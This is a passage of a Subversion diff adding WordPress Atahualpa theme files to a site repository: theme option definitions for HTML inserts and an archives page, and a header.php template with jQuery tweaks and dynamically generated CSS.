+            "std" => "font-size: 0.8em;\nline-height: 13px;\npadding: 2px 4px 5px;\nmargin: 0;\ncolor: #666666;",
+            "type" => "textarea",
+			"lastoption" => "yes", 
+            "info" => "Style the caption text."),
+
+// New category: html-inserts
+
+    array(    "name" => "HTML Inserts: Header",
+    	    "category" => "html-inserts",
+			"switch" => "yes",
+            "id" => $shortname."_html_inserts_header",
+            "std" => "",
+            "type" => "textarea",
+			"editable" => "yes", 
+            "info" => "Add code here (JavaScript, HTML, CSS) that you want to put into the header section of the website, 
+			between <code>&lt;head&gt;</code> and <code>&lt;/head&gt;</code>."),
+
+    array(    "name" => "HTML Inserts: Body Tag",
+    	    "category" => "html-inserts",
+            "id" => $shortname."_html_inserts_body_tag",
+            "std" => "",
+            "type" => "textarea",
+			"editable" => "yes", 
+            "info" => "Add code here that you want to add to the opening body tag <code>&lt;body&gt;</code> of the website.<br /><br />
+			<strong>Example:</strong><br /><br /><code>onLoad=\"alert('The page is loading... now!')\"</code><br />would result 
+			in an output of<br /><code>&lt;body <i>onLoad=\"alert('The page is loading... now!')\"</i>&gt;</code><br />instead 
+			of the regular<br /><code>&lt;body&gt;</code>"),
+
+    array(    "name" => "HTML Inserts: Body Top",
+    	    "category" => "html-inserts",
+            "id" => $shortname."_html_inserts_body_top",
+            "std" => "",
+            "type" => "textarea",
+			"editable" => "yes", 
+            "info" => "Add code here (JavaScript, HTML, CSS) that you want to put into the body section of the website, between 
+			<code>&lt;body&gt;</code> and <code>&lt;/body&gt;</code>, right after <code>&lt;body&gt;</code>."),
+
+    array(    "name" => "HTML Inserts: Body Bottom",
+    	    "category" => "html-inserts",
+            "id" => $shortname."_html_inserts_body_bottom",
+            "std" => "",
+            "type" => "textarea",
+			"editable" => "yes", 
+            "info" => "Add code here (JavaScript, HTML, CSS) that you want to put into the body section of the website, 
+			between <code>&lt;body&gt;</code> and <code>&lt;/body&gt;</code>, right before <code>&lt;/body&gt;</code>.<br /><br />
+			<strong>Google Analytics</strong> code would go here, and most other tracking code probably too."),
+
+    array(    "name" => "CSS Inserts",
+    	    "category" => "html-inserts",
+            "id" => $shortname."_html_inserts_css",
+            "std" => "",
+            "type" => "textarea",
+			"editable" => "yes", 
+			"lastoption" => "yes", 
+            "info" => "Add CSS code here that you want to append to the theme's CSS file. <strong>Example</strong><br /><br />
+			<code>.newclass {<br />color: #123456;<br />border: solid 1px #000000;<br />
+			font-family: arial, \"comic sans ms\", sans-serif;<br />}</code>"),
+
+// New category: Archives page
+
+    array(    "name" => "Archives Page ID",
+    	    "category" => "archives-page",
+			"switch" => "yes",
+           "id" => $shortname."_archives_page_id",
+            "std" => "",
+            "type" => "text",
+			"size" => "5",
+            "info" => "This theme has no Archives page by default but you can create a custom one:<ul>
+			<li>Put the ID of an existing page into this field to make that page the Archives page.</li>
+			<li>This can be an empty page or a page with content.</li><li>If the page has content, the archives 
+			will be appended at the bottom.</li></ul>An Archives page is a \"Page\" page listing the links to 
+			(usually: monthly) archives and the categories, similar to a sitemap, but usually without a list 
+			of \"Page\" pages. The difference to the archive links or select menu in the sidebar is that the 
+			links will be displayed as regular content in the middle column"),
+
+    array(    "name" => "Show Archives by Date?",
+    	    "category" => "archives-page",
+           "id" => $shortname."_archives_date_show",
+            "type" => "select",
+            "std" => "Yes",
+            "options" => array("Yes", "No"),
+            "info" => "Show archives by date?"),
+			
+    array(    "name" => "Archives by Date: Title",
+    	    "category" => "archives-page",
+           "id" => $shortname."_archives_date_title",
+            "std" => "Archives by Month",
+            "type" => "text",
+            "info" => "The headline for the yearly/monthly/daily/postbypost archives"),
+
+    array(    "name" => "Archives by Date: Type",
+    	    "category" => "archives-page",
+           "id" => $shortname."_archives_date_type",
+            "type" => "select",
+            "std" => "monthly",
+            "options" => array("yearly", "monthly", "weekly", "daily", "postbypost"),
+            "info" => "List the date based archives by year, month, week, day or post by post?"),
+
+    array(    "name" => "Archives by Date: Limit",
+    	    "category" => "archives-page",
+           "id" => $shortname."_archives_date_limit",
+            "std" => "",
+            "type" => "text",
+            "info" => "Optional: Limit the amount of date based archive links. Leave blank for no limit. 
+			<strong>Example:</strong> <code>30</code>"),
+
+    array(    "name" => "Archives by Date: Show post count?",
+    	    "category" => "archives-page",
+           "id" => $shortname."_archives_date_count",
+            "type" => "select",
+            "std" => "Yes",
+            "options" => array("Yes", "No"),
+            "info" => "Show the post count for each date based archive link? Won't be used if you chose \"postbypost\" above."),
+
+    array(    "name" => "Show Archives by Category?",
+    	    "category" => "archives-page",
+           "id" => $shortname."_archives_category_show",
+            "type" => "select",
+            "std" => "Yes",
+            "options" => array("Yes", "No"),
+            "info" => "Show archives by category?"),
+			
+    array(    "name" => "Archives by Category: Title",
+    	    "category" => "archives-page",
+           "id" => $shortname."_archives_category_title",
+            "std" => "Archives by Category",
+            "type" => "text",
+            "info" => "The headline for the category archives"),
+
+    array(    "name" => "Archives by Category: Show post count?",
+    	    "category" => "archives-page",
+           "id" => $shortname."_archives_category_count",
+            "type" => "select",
+            "std" => "Yes",
+            "options" => array("Yes", "No"),
+            "info" => "Display the post count after each category link?"),
+
+    array(    "name" => "Archives by Category: Depth",
+    	    "category" => "archives-page",
+           "id" => $shortname."_archives_category_depth",
+            "type" => "select",
+            "std" => "0",
+            "options" => array("0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "10"),
+            "info" => "Limit the depth of category levels to be displayed. Choose 0 to display all categories (= no depth limit)"),
+
+    array(    "name" => "Archives by Category: Order by",
+    	    "category" => "archives-page",
+           "id" => $shortname."_archives_category_orderby",
+            "type" => "select",
+            "std" => "name",
+            "options" => array("ID", "name", "count"),
+            "info" => "Sort the category archive links by <ul><li><strong>ID</strong> - chronologically</li>
+			<li><strong>name</strong> - alphabetically</li><li><strong>count</strong> - post count</li></ul>"),
+
+    array(    "name" => "Archives by Category: Order",
+    	    "category" => "archives-page",
+           "id" => $shortname."_archives_category_order",
+            "type" => "select",
+            "std" => "ASC",
+            "options" => array("ASC", "DESC"),
+            "info" => "Sort the category list<ul><li><strong>ASC</strong> - ascending</li>
+			<li><strong>DESC</strong> - descending</li></ul>"),	
+
+    array(    "name" => "Archives by Category: Feed Link",
+    	    "category" => "archives-page",
+           "id" => $shortname."_archives_category_feed",
+            "type" => "select",
+            "std" => "No",
+            "options" => array("Yes", "No"),
+			"lastoption" => "yes", 
+            "info" => "Show a linked RSS icon after each category link?"),			
+);
+
+// Merge arrays to get different options sets for WP 2.7+ (with new paged comments settings) and WP 2.6 and older 
+if (function_exists('wp_list_comments')) {
+$options = array_merge($options1, $options2, $options3);  // WP 2.7 and newer
+} else {
+$options = array_merge($options1, $options3);  // WP 2.6 and older
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/header.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/header.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/header.php	(revision 44)
@@ -0,0 +1,909 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
+<head profile="http://gmpg.org/xfn/11">
+<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
+<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
+<link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" />
+<?php global $options; 
+foreach ($options as $value) { if (get_option( $value['id'] ) === FALSE) { $$value['id'] = $value['std']; } else { $$value['id'] = get_option( $value['id'] ); } } ?>
+<?php include (TEMPLATEPATH . '/functions/bfa_meta_tags.php'); ?>
+<?php if ($bfa_ata_favicon_file != "") { ?><link rel="shortcut icon" href="<?php echo get_bloginfo('template_directory'); ?>/images/favicon/<?php echo $bfa_ata_favicon_file; ?>" /><?php } ?>
+<link rel="alternate" type="application/rss+xml" title="<?php bloginfo('name'); ?> RSS Feed" href="<?php bloginfo('rss2_url'); ?>" />
+<link rel="alternate" type="application/atom+xml" title="<?php bloginfo('name'); ?> Atom Feed" href="<?php bloginfo('atom_url'); ?>" />
+<link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" />
+<script type="text/javascript" src="<?php echo get_bloginfo('template_directory'); ?>/js/ruthsarian_utilities.js"></script>
+<script type="text/javascript">
+	<!--
+	if ( ( typeof( sfHover ) ).toLowerCase() != 'undefined' ) { event_attach( 'onload' , function () { 
+	<?php if (strpos($bfa_ata_configure_header,'pages')!==FALSE) { ?>sfHover( 'rmenu2' );<?php } ?>
+	<?php if (strpos($bfa_ata_configure_header,'cats')!==FALSE) { ?>sfHover( 'rmenu' );<?php } ?>	
+	if (document.getElementById("recent-comments") != null) { sfHover( 'recent-comments' ); }
+	if (document.getElementById("bfa-recent-comments") != null) {sfHover( 'bfa-recent-comments' ); }
+		} ); }
+	//-->
+</script>
+<script type="text/javascript" src="<?php echo get_bloginfo('template_directory'); ?>/js/jquery-1.2.6.min.js"></script>
+<script type="text/javascript">
+<!--
+var $bfa = jQuery.noConflict();
+$bfa(document).ready(function(){    
+	// IE6 max-width for images 
+	if ($bfa.browser.msie && /MSIE 6\.0/i.test(window.navigator.userAgent) && !/MSIE 7\.0/i.test(window.navigator.userAgent)) {
+	var centerwidth = $bfa("td#middle").width(); 
+	// without caption
+	$bfa(".post img").each(function() { 
+		var maxwidth = centerwidth - 10 + 'px';
+		var imgwidth = $bfa(this).width(); 
+		var imgheight = $bfa(this).height(); 
+		var newimgheight = (centerwidth / imgwidth * imgheight) + 'px';	
+		if (imgwidth > centerwidth) { 
+			$bfa(this).css({width: maxwidth}); 
+			$bfa(this).css({height: newimgheight}); 
+		}
+	});
+	// with caption
+	$bfa("div.wp-caption").each(function() { 
+		var captionwidth = $bfa(this).width(); 
+		var maxcaptionwidth = centerwidth + 'px';
+		var captionheight = $bfa(this).height();
+		var captionimgwidth =  $bfa("div.wp-caption img").width();
+		var captionimgheight =  $bfa("div.wp-caption img").height();
+		if (captionwidth > centerwidth) { 
+			$bfa(this).css({width: maxcaptionwidth}); 
+			var newcaptionheight = (centerwidth / captionwidth * captionheight) + 'px';
+			var newcaptionimgheight = (centerwidth / captionimgwidth * captionimgheight) + 'px';
+			$bfa(this).css({height: newcaptionheight}); 
+			$bfa("div.wp-caption img").css({height: newcaptionimgheight}); 
+			}
+	});
+	}
+	<?php if ($bfa_ata_table_hover_rows == "Yes") { ?>
+	$bfa(".post table tr").mouseover(function() {$bfa(this).addClass("over");}).mouseout(function() {$bfa(this).removeClass("over");});
+	<?php } else { ?>
+	$bfa(".post table.hover tr").mouseover(function() {$bfa(this).addClass("over");}).mouseout(function() {$bfa(this).removeClass("over");});	
+	<?php } ?>
+	<?php if ($bfa_ata_table_zebra_stripes == "Yes") { ?>
+	$bfa(".post table tr:even").addClass("alt");
+	<?php } else { ?>
+	$bfa(".post table.zebra tr:even").addClass("alt");	
+	<?php } ?>
+	<?php if ($bfa_ata_highlight_forms == "Yes") { ?>
+	$bfa("input.text, input.TextField, input.file, input.password, textarea").focus(function () {  $bfa(this).addClass("highlight"); }).blur(function () { $bfa(this).removeClass("highlight"); })
+	<?php } ?>
+	$bfa("input.inputblur").focus(function () {  $bfa(this).addClass("inputfocus"); }).blur(function () { $bfa(this).removeClass("inputfocus"); })
+	<?php if (function_exists('lmbbox_comment_quicktags_display')) { ?>
+	$bfa("input.ed_button").mouseover(function() {$bfa(this).addClass("ed_button_hover");}).mouseout(function() {$bfa(this).removeClass("ed_button_hover");});
+	<?php } ?>
+	$bfa("input.button, input.Button").mouseover(function() {$bfa(this).addClass("buttonhover");}).mouseout(function() {$bfa(this).removeClass("buttonhover");});
+	// toggle "you can use these xhtml tags
+	$bfa("a.xhtmltags").click(function(){ $bfa("div.xhtml-tags").slideToggle(300); });
+});
+//-->
+</script>
+<?php if ( function_exists('wp_list_comments') AND is_singular() ) { wp_enqueue_script( 'comment-reply' ); } ?>
+<style type="text/css">
+body {
+	<?php echo $bfa_ata_body_style; ?>
+	}
+
+a:link, a:visited, a:active {
+	color: #<?php echo $bfa_ata_link_color; ?>; 
+	font-weight: <?php echo $bfa_ata_link_weight; ?>; 
+	text-decoration: <?php echo $bfa_ata_link_default_decoration; ?>; 
+	}
+	
+a:hover {
+	color: #<?php echo $bfa_ata_link_hover_color; ?>;
+	font-weight: <?php echo $bfa_ata_link_weight; ?>; 
+	text-decoration: <?php echo $bfa_ata_link_hover_decoration; ?>; 
+	}
+		
+<?php if  ( $bfa_ata_layout_style_leftright_padding == "" ) { 
+	$bfa_ata_layout_style_leftright_padding = "0"; }
+	if ( $bfa_ata_layout_style_leftright_padding != "0" ) { 
+	$bfa_ata_layout_min = $bfa_ata_layout_min_width + ( $bfa_ata_layout_style_leftright_padding * 2 );
+	$bfa_ata_layout_max = $bfa_ata_layout_max_width + ( $bfa_ata_layout_style_leftright_padding * 2 );	
+	} else {
+	$bfa_ata_layout_min = $bfa_ata_layout_min_width;
+	$bfa_ata_layout_max = $bfa_ata_layout_max_width;
+	}
+	?>
+
+div#wrapper {
+	width: <?php echo $bfa_ata_layout_width; ?>;
+	<?php // if layout is fluid, set min/max width, if defined:
+	if(stristr($bfa_ata_layout_width, 'px') === FALSE) { 
+	echo ($bfa_ata_layout_min_width == "" ? "" : "min-width: " . $bfa_ata_layout_min . "px;\n"); 
+	echo ($bfa_ata_layout_max_width == "" ? "" : "max-width: " . $bfa_ata_layout_max . "px;\n");	
+	} ?>
+	}
+
+<?php // min/max width for IE6:
+if(stristr($bfa_ata_layout_width, 'px') === FALSE && ($bfa_ata_layout_min != "" OR $bfa_ata_layout_max != "" )) { ?>
+* html div#wrapper {
+	width:expression<?php if($bfa_ata_layout_max_width != "") { ?>(((document.compatMode && 
+	document.compatMode=='CSS1Compat') ? 
+	document.documentElement.clientWidth : 
+	document.body.clientWidth) 
+	> <?php echo $bfa_ata_layout_max +1; ?> ? "<?php echo $bfa_ata_layout_max; ?>px" : 
+	<?php } if($bfa_ata_layout_min_width == "") { ?>"<?php echo $bfa_ata_layout_width; ?>");}<?php } else { ?>
+	(((document.compatMode && 
+	document.compatMode=='CSS1Compat') ? 
+	document.documentElement.clientWidth : 
+	document.body.clientWidth) 
+	< <?php echo $bfa_ata_layout_min + 1; ?> ? "<?php echo $bfa_ata_layout_min; ?>px" : 
+	"<?php echo $bfa_ata_layout_width; ?>")); 
+	}
+<?php } } ?>
+
+div#container {
+	<?php echo $bfa_ata_layout_style; ?>
+	<?php if ( $bfa_ata_layout_style_leftright_padding != "0" ) { ?>
+	padding-left: <?php echo $bfa_ata_layout_style_leftright_padding; ?>px;
+	padding-right: <?php echo $bfa_ata_layout_style_leftright_padding; ?>px;
+	<?php } ?>
+	}
+
+.colone {width: <?php echo $bfa_ata_left_sidebar_width; ?>px;}
+.colthree {width: <?php echo $bfa_ata_right_sidebar_width; ?>px;}
+	
+table#logoarea {
+	border-spacing: 0px;
+	<?php echo $bfa_ata_logoarea_style; ?>
+	}
+	
+.logo {
+	<?php echo $bfa_ata_logo_style; ?>
+	}
+
+h1.blogtitle {
+	<?php echo $bfa_ata_blog_title_style; ?>
+	}
+	
+h1.blogtitle a:link, 
+h1.blogtitle a:visited, 
+h1.blogtitle a:active {
+	color: #<?php echo $bfa_ata_blog_title_color; ?>;
+	font-weight: <?php echo $bfa_ata_blog_title_weight; ?>;
+	}
+	
+h1.blogtitle a:hover {
+	color: #<?php echo $bfa_ata_blog_title_color_hover; ?>;
+	font-weight: <?php echo $bfa_ata_blog_title_weight; ?>;
+	}
+
+p.tagline { 
+	<?php echo $bfa_ata_blog_tagline_style; ?>
+	}
+
+div.rss-box {
+	width: <?php echo $bfa_ata_rss_box_width; ?>px;
+	}
+	
+.searchbox {
+	height: 35px;
+	<?php echo $bfa_ata_searchbox_style; ?>
+	}
+
+.horbar1 {
+	<?php echo $bfa_ata_horbar1; ?>
+	}
+	
+.horbar2 { 
+	<?php echo $bfa_ata_horbar2; ?>
+	}	
+
+<?php if (strpos($bfa_ata_configure_header,'%image')!==false) { ?>
+.header-image-container {
+	height: <?php echo $bfa_ata_headerimage_height; ?>px; 
+	}
+<?php } ?>
+	
+<?php if ( $bfa_ata_overlay_blog_title == "Yes" OR $bfa_ata_overlay_blog_tagline == "Yes" ) { ?>
+.titleoverlay {
+	<?php echo $bfa_ata_overlay_box_style; ?>
+	}
+<?php } ?>
+
+<?php if ( $bfa_ata_header_opacity_left != 0 AND $bfa_ata_header_opacity_left != '' ) { ?>
+.opacityleft {
+	background-color: #<?php echo $bfa_ata_header_opacity_left_color; ?>; 
+	height: <?php echo $bfa_ata_headerimage_height; ?>px;
+	width: <?php echo $bfa_ata_header_opacity_left_width; ?>px; 
+	filter: alpha(opacity=<?php echo $bfa_ata_header_opacity_left; ?>);
+	-moz-opacity:.<?php echo $bfa_ata_header_opacity_left; ?>;
+	opacity:.<?php echo $bfa_ata_header_opacity_left; ?>;
+	}
+<?php } ?>
+
+<?php if ( $bfa_ata_header_opacity_right != 0 AND $bfa_ata_header_opacity_right != '' ) { ?>
+.opacityright {
+	background-color: #<?php echo $bfa_ata_header_opacity_right_color; ?>; 
+	height: <?php echo $bfa_ata_headerimage_height; ?>px;
+	width: <?php echo $bfa_ata_header_opacity_right_width; ?>px; 
+	filter: alpha(opacity=<?php echo $bfa_ata_header_opacity_right; ?>);
+	-moz-opacity:.<?php echo $bfa_ata_header_opacity_right; ?>;
+	opacity:.<?php echo $bfa_ata_header_opacity_right; ?>;
+	}
+<?php } ?>
+
+
+<?php if ($bfa_ata_header_image_clickable == "Yes") { ?>
+div.clickable {
+	height: <?php echo $bfa_ata_headerimage_height; ?>px; 
+	}
+<?php } ?>
+		
+td#left {
+	<?php echo $bfa_ata_left_sidebar_style; ?>
+	}
+
+td#right {
+	<?php echo $bfa_ata_right_sidebar_style; ?>
+	}
+
+td#middle {
+	<?php echo $bfa_ata_center_column_style; ?>
+	}
+
+td#footer {
+	width: auto;
+	<?php echo $bfa_ata_footer_style; ?>
+	}
+
+td#footer a:link, td#footer a:visited, td#footer a:active {
+	<?php echo $bfa_ata_footer_style_links; ?>
+	}
+
+td#footer a:hover {
+	<?php echo $bfa_ata_footer_style_links_hover; ?>
+	}
+	
+div.widget {
+	<?php echo $bfa_ata_widget_container; ?>
+	}
+
+div.widget-title {
+	<?php echo $bfa_ata_widget_title_box; ?>
+	}
+
+div.widget-title h3 {
+	<?php echo $bfa_ata_widget_title; ?>
+	}	
+	
+div.widget-content {
+	<?php echo $bfa_ata_widget_content; ?>
+	}
+
+div.widget select { 
+	<?php if ( $bfa_ata_select_font_size != "Default" ) { 
+	echo "font-size: " . $bfa_ata_select_font_size . ";\n"; } ?> 
+}	
+	
+.widget ul li {
+	margin: 2px 0 2px <?php echo $bfa_ata_widget_lists['li-margin-left']; ?>px;
+	}
+
+.widget ul li ul li {
+	margin: 2px 0 2px <?php echo $bfa_ata_widget_lists2['li-margin-left']; ?>px;  
+	}
+
+.widget ul li ul li ul li {
+	margin: 2px 0 2px <?php echo $bfa_ata_widget_lists3['li-margin-left']; ?>px;  
+	}
+	
+.widget ul li a:link, 
+.widget ul li a:visited, 
+.widget ul li a:active {
+	padding: 0 0 0 <?php echo $bfa_ata_widget_lists['link-padding-left']; ?>px; 
+	color: #<?php echo $bfa_ata_widget_lists['link-color']; ?>; 
+	border-left: solid <?php echo $bfa_ata_widget_lists['link-border-left-width']; ?>px #<?php echo $bfa_ata_widget_lists['link-border-left-color']; ?>; 
+	}
+
+.widget ul li ul li a:link, 
+.widget ul li ul li a:visited, 
+.widget ul li ul li a:active {
+	padding: 0 0 0 <?php echo $bfa_ata_widget_lists2['link-padding-left']; ?>px; 
+	color: #<?php echo $bfa_ata_widget_lists2['link-color']; ?>; 
+	border-left: solid <?php echo $bfa_ata_widget_lists2['link-border-left-width']; ?>px #<?php echo $bfa_ata_widget_lists2['link-border-left-color']; ?>; 
+	}
+
+.widget ul li ul li ul li a:link, 
+.widget ul li ul li ul li a:visited, 
+.widget ul li ul li ul li a:active {
+	padding: 0 0 0 <?php echo $bfa_ata_widget_lists3['link-padding-left']; ?>px; 
+	color: #<?php echo $bfa_ata_widget_lists3['link-color']; ?>; 
+	border-left: solid <?php echo $bfa_ata_widget_lists3['link-border-left-width']; ?>px #<?php echo $bfa_ata_widget_lists3['link-border-left-color']; ?>; 
+	}
+
+	
+.widget ul li a:hover {
+	color: #<?php echo $bfa_ata_widget_lists['link-hover-color']; ?>; 
+	border-left: solid <?php echo $bfa_ata_widget_lists['link-border-left-width']; ?>px #<?php echo $bfa_ata_widget_lists['link-border-left-hover-color']; ?>; 
+	}
+
+.widget ul li ul li a:hover {
+	color: #<?php echo $bfa_ata_widget_lists2['link-hover-color']; ?>; 
+	border-left: solid <?php echo $bfa_ata_widget_lists2['link-border-left-width']; ?>px #<?php echo $bfa_ata_widget_lists2['link-border-left-hover-color']; ?>; 
+	}
+
+.widget ul li ul li ul li a:hover {
+	color: #<?php echo $bfa_ata_widget_lists3['link-hover-color']; ?>; 
+	border-left: solid <?php echo $bfa_ata_widget_lists3['link-border-left-width']; ?>px #<?php echo $bfa_ata_widget_lists3['link-border-left-hover-color']; ?>; 
+	}
+	
+.widget_categories ul li a:link, 
+.widget_categories ul li a:visited, 
+.widget_categories ul li a:active,
+.widget_categories ul li a:hover {
+	display: <?php echo $bfa_ata_category_widget_display_type; ?> !important;  
+	}
+	
+div#get_recent_comments_wrap ul li ul li,
+.widget_recent_comments ul li, 
+.widget_simple_recent_comments ul li {
+	padding: 0 0 0 <?php echo $bfa_ata_widget_lists['link-padding-left']; ?>px; 
+	border-left: solid <?php echo $bfa_ata_widget_lists['link-border-left-width']; ?>px #<?php echo $bfa_ata_widget_lists['link-border-left-color']; ?>; 
+	}
+
+div#get_recent_comments_wrap ul li ul li ul li, 
+.widget_recent_comments ul li ul li, 
+.widget_simple_recent_comments ul li ul li {
+	padding: 0 0 0 <?php echo $bfa_ata_widget_lists2['link-padding-left']; ?>px; 
+	border-left: solid <?php echo $bfa_ata_widget_lists2['link-border-left-width']; ?>px #<?php echo $bfa_ata_widget_lists2['link-border-left-color']; ?>; 
+	}
+
+.widget_recent_comments ul li ul li ul li, 
+.widget_simple_recent_comments ul li ul li ul li {
+	padding: 0 0 0 <?php echo $bfa_ata_widget_lists3['link-padding-left']; ?>px; 
+	border-left: solid <?php echo $bfa_ata_widget_lists3['link-border-left-width']; ?>px #<?php echo $bfa_ata_widget_lists3['link-border-left-color']; ?>; 
+	}	
+	
+div#get_recent_comments_wrap ul li ul li:hover, 
+.widget_recent_comments ul li:hover, 
+.widget_simple_recent_comments ul li:hover, 
+div#get_recent_comments_wrap ul li ul li.sfhover, 	
+.widget_recent_comments ul li.sfhover, 
+.widget_simple_recent_comments ul li.sfhover {	
+	border-left: solid <?php echo $bfa_ata_widget_lists['link-border-left-width']; ?>px #<?php echo $bfa_ata_widget_lists['link-border-left-hover-color']; ?>; 
+	}
+
+div#get_recent_comments_wrap ul li ul li ul li:hover, 
+.widget_recent_comments ul li ul li:hover, 
+.widget_simple_recent_comments ul li ul li:hover, 	
+div#get_recent_comments_wrap ul li ul li ul li.sfhover, 
+.widget_recent_comments ul li ul li.sfhover, 
+.widget_simple_recent_comments ul li ul li.sfhover {	
+	border-left: solid <?php echo $bfa_ata_widget_lists2['link-border-left-width']; ?>px #<?php echo $bfa_ata_widget_lists2['link-border-left-hover-color']; ?>; 
+	}
+
+.widget_recent_comments ul li ul li ul li:hover, 
+.widget_simple_recent_comments ul li ul li ul li:hover, 	
+.widget_recent_comments ul li ul li ul li.sfhover, 
+.widget_simple_recent_comments ul li ul li ul li.sfhover {	
+	border-left: solid <?php echo $bfa_ata_widget_lists3['link-border-left-width']; ?>px #<?php echo $bfa_ata_widget_lists3['link-border-left-hover-color']; ?>; 
+	}
+	
+div.post {
+	<?php echo $bfa_ata_post_container_style; ?>
+	}
+
+.sticky {
+	<?php echo $bfa_ata_post_container_sticky_style; ?>
+	}
+
+div.post-kicker {
+	<?php echo $bfa_ata_post_kicker_style; ?>
+	}
+
+div.post-kicker a:link, 
+div.post-kicker a:visited, 
+div.post-kicker a:active {
+	<?php echo $bfa_ata_post_kicker_style_links; ?>
+	}
+
+div.post-kicker a:hover {
+	<?php echo $bfa_ata_post_kicker_style_links_hover; ?>
+	}
+
+div.post-headline {
+	<?php echo $bfa_ata_post_headline_style; ?>
+	}
+
+div.post-headline h2 {
+	<?php echo $bfa_ata_post_headline_style_text; ?>
+	}
+
+div.post-headline h2 a:link, 
+div.post-headline h2 a:visited, 
+div.post-headline h2 a:active {
+	<?php echo $bfa_ata_post_headline_style_links; ?>
+	}
+
+div.post-headline h2 a:hover {
+	<?php echo $bfa_ata_post_headline_style_links_hover; ?>
+	}
+	
+div.post-byline {
+	<?php echo $bfa_ata_post_byline_style; ?>
+	}
+
+div.post-byline a:link, 
+div.post-byline a:visited, 
+div.post-byline a:active {
+	<?php echo $bfa_ata_post_byline_style_links; ?>
+	}
+
+div.post-byline a:hover {
+	<?php echo $bfa_ata_post_byline_style_links_hover; ?>
+	}
+
+div.post-bodycopy {
+	<?php echo $bfa_ata_post_bodycopy_style; ?>
+	}
+	
+div.post-footer {
+	<?php echo $bfa_ata_post_footer_style; ?>
+	}
+
+div.post-footer a:link, 
+div.post-footer a:visited, 
+div.post-footer a:active {
+	<?php echo $bfa_ata_post_footer_style_links; ?>
+	}	
+
+div.post-footer a:hover {
+	<?php echo $bfa_ata_post_footer_style_links_hover; ?>
+	}
+
+.navigation-top {
+	<?php echo $bfa_ata_next_prev_style_top; ?>
+	}
+
+.navigation-middle {
+	<?php echo $bfa_ata_next_prev_style_middle; ?>
+	}
+	
+.navigation-bottom {
+	<?php echo $bfa_ata_next_prev_style_bottom; ?>
+	}
+
+.navigation-comments-above {
+	<?php if (isset($bfa_ata_next_prev_style_comments_above)) echo $bfa_ata_next_prev_style_comments_above; ?>
+	}
+	
+.navigation-comments-below {
+	<?php if (isset($bfa_ata_next_prev_style_comments_below)) echo $bfa_ata_next_prev_style_comments_below; ?>
+	}
+	
+input.text, 
+input.password, 
+input.file,
+input.TextField, 
+textarea {
+	<?php echo $bfa_ata_form_input_field_style . "\n"; ?>
+	<?php echo ($bfa_ata_form_input_field_background != "" ? 
+	"background: url(" . get_bloginfo('template_directory') . "/images/" . 
+	$bfa_ata_form_input_field_background . ") top left no-repeat;" : ""); ?>
+	}
+	
+<?php if ($bfa_ata_highlight_forms == "Yes") { ?>
+input.highlight, textarea.highlight {
+	<?php echo $bfa_ata_highlight_forms_style; ?>
+	}
+<?php } ?>
+
+.button, .Button {
+	<?php echo $bfa_ata_button_style; ?>
+	}
+	
+.buttonhover {
+	<?php echo $bfa_ata_button_style_hover; ?>
+	}
+
+form#commentform input#submit	{
+	<?php echo $bfa_ata_submit_button_style; ?>
+	}
+	
+blockquote {
+	<?php echo $bfa_ata_blockquote_style; ?>	
+	}
+	
+blockquote blockquote {
+	<?php echo $bfa_ata_blockquote_style_2nd_level; ?>
+	}
+
+.post table {
+	<?php echo $bfa_ata_table; ?>
+	}
+	
+.post table caption {
+	<?php echo $bfa_ata_table_caption; ?>
+	}
+	
+.post table th {
+	<?php echo $bfa_ata_table_th; ?>
+	}
+	
+.post table td {
+	<?php echo $bfa_ata_table_td; ?>
+	}
+
+.post table tfoot td {
+	<?php echo $bfa_ata_table_tfoot_td; ?>
+	}
+	
+.post table tr.alt td {
+	<?php echo $bfa_ata_table_zebra_td; ?>
+	}
+
+.post table tr.over td {
+	<?php echo $bfa_ata_table_hover_td; ?>
+	}
+
+ol.commentlist {
+	border-top: <?php echo $bfa_ata_comment_border; ?>;
+	}
+	
+ol.commentlist li {
+	background-color: #<?php echo $bfa_ata_comment_background_color; ?>;
+	border-bottom: <?php echo $bfa_ata_comment_border; ?>;
+	}
+
+ol.commentlist li.alt {
+	background-color: #<?php echo $bfa_ata_comment_alt_background_color; ?>;
+	border-bottom: <?php echo $bfa_ata_comment_border; ?>;
+	}
+
+ol.commentlist li.authorcomment {
+	background-color: #<?php echo $bfa_ata_author_highlight_color; ?>;
+	}
+
+ol.commentlist span.authorname {
+	font-size: <?php echo $bfa_ata_comment_author_size; ?>;
+	}
+
+ul.commentlist {
+	border-top: <?php echo $bfa_ata_comment_border; ?>;
+	}
+
+ul.commentlist li.thread-even {
+	background-color: #<?php echo $bfa_ata_comment_background_color; ?>;
+	border-bottom: <?php echo $bfa_ata_comment_border; ?>;
+	}
+
+ul.commentlist li.thread-odd {
+	background-color: #<?php echo $bfa_ata_comment_alt_background_color; ?>;
+	border-bottom: <?php echo $bfa_ata_comment_border; ?>;
+	}
+
+<?php if ($bfa_ata_author_highlight == "Yes") { ?>
+ul.commentlist li.bypostauthor {
+	background-color: #<?php echo $bfa_ata_author_highlight_color; ?>;
+	}
+<?php } ?>
+	
+/* reset children */
+
+ul.commentlist li ul.children, 
+ul.commentlist li ul.children li, 
+ul.commentlist li ul.children li.bypostauthor  {
+	background-color: transparent;
+	border: 0;
+	padding: 0;
+	margin: 0;
+	display: block;
+	height: 1%;  /* for IE */
+	}
+
+ul.commentlist span.authorname {
+	font-size: <?php echo $bfa_ata_comment_author_size; ?>;
+	}
+
+a.page-numbers:link, 
+a.page-numbers:visited, 
+a.page-numbers:active {
+	color: #<?php echo $bfa_ata_link_color; ?>; 
+	border-color: #<?php echo $bfa_ata_link_color; ?>;
+	}
+
+a.page-numbers:hover {
+	color: #<?php echo $bfa_ata_link_hover_color; ?>; 
+	border-color: #<?php echo $bfa_ata_link_hover_color; ?>;
